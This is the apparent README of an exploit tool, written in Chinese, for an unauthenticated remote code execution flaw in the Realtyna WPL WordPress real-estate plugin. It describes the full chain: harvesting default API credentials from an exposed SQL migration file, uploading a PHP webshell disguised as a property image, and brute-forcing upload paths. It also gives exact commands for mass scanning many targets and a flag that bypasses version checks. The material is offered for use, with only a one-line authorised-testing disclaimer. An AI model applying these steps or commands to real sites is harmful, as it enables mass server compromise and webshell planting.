CVE-2026-14483 — WPL 房地产 RCE

针对 Realtyna WPL Real Estate Listing WordPress 插件的未认证远程代码执行。

字段	详情
CVE	CVE-2026-14483
受影响版本	`<= 5.2.0`
插件	`real-estate-listing-realtyna-wpl`
影响	未认证 PHP Webshell 上传 (RCE)
脚本	`CVE-2026-14483.py`
作者	MADEXPLOITS

默认情况下，脚本仅攻击运行 WPL 5.2.0 的目标。使用 --force 可覆盖此限制。

图片

漏洞概述

凭据泄露 — 默认的 api_key / api_secret 通过公开的 SQL 迁移转储文件暴露。
未认证上传 — 这些凭据可通过 WPL I/O API（set_property）进行认证，从而允许将精心构造的 PHP 文件作为房产图片上传。
Webshell 发现 — 上传的 shell 位于 wp-content/uploads/WPL/{property_id}/ 目录下。

环境要求

pip install requests colorama

Python 3.8+
对目标的网络访问权限

使用方法

目标列表

创建一个文本文件，每行一个基础 URL：

http://wplab.test
https://example.com

基本运行

python CVE-2026-14483.py --targets targets.txt

成功获取的 shell URL 会追加到 result.txt（或 --output 指定的文件）。

完整选项

python CVE-2026-14483.py \
  --targets targets.txt \
  --output result.txt \
  --user-id 1 \
  --max-id 1000 \
  --timeout 30 \
  --threads 5 \
  --debug \
  --force

利用流程

Target URL
    │
    ▼
Detect WPL version (readme.txt / wpl.php)
    │  skip unless == 5.2.0 (or --force)
    ▼
Fetch api_key + api_secret from:
  /wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql
    │
    ▼
POST set_property via WPL I/O API
  (upload image_0x89MADEXPLOITS.php as image/jpeg)
    │
    ▼
Brute-force property ID 1..max-id
  /wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.php
    │
    ▼
Write shell URL → output file

默认 shell 标记：MADEXPLOITS
默认远程文件名：0x89MADEXPLOITS.php

示例

单个实验室目标（本工作区）：

echo http://wplab.test > targets.txt
python CVE-2026-14483.py --targets targets.txt --debug

更高并发的大规模扫描：

python CVE-2026-14483.py --targets targets.txt --threads 20 --output shells.txt

版本检查失败时强制利用：

python CVE-2026-14483.py --targets targets.txt --force

输出

[+] Shell found: http://target/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progress: 1/1 | Found: 1
[+] Done. Found 1 shell(s). Check 'result.txt' for URLs.

result.txt 每行包含一个 shell URL。

注意事项

版本信息从插件 readme.txt 中的 Stable tag: / Version: 读取，若未找到则回退到 wpl.php。
如果上传后未找到 shell，请提高 --max-id。
仅用于授权安全测试 / 本地实验室环境。

`--targets`	(必填)	包含基础 URL 的文件（每行一个）
`--output`	`result.txt`	用于追加已找到 shell URL 的文件
`--user-id`	`1`	拥有新房产的 WordPress / WPL 用户 ID
`--payload`	内置的上传 shell	自定义 PHP Payload 字符串
`--max-id`	`1000`	定位 shell 时要暴力枚举的最大房产 ID
`--timeout`	`30`	HTTP 超时时间（秒）
`--threads`	`5`	并发工作线程数
`--debug`	关闭	详细的调试日志
`--force`	关闭	即使版本 ≠ 5.2.0 或无法检测版本也执行利用

CVE-2026-14483

最受欢迎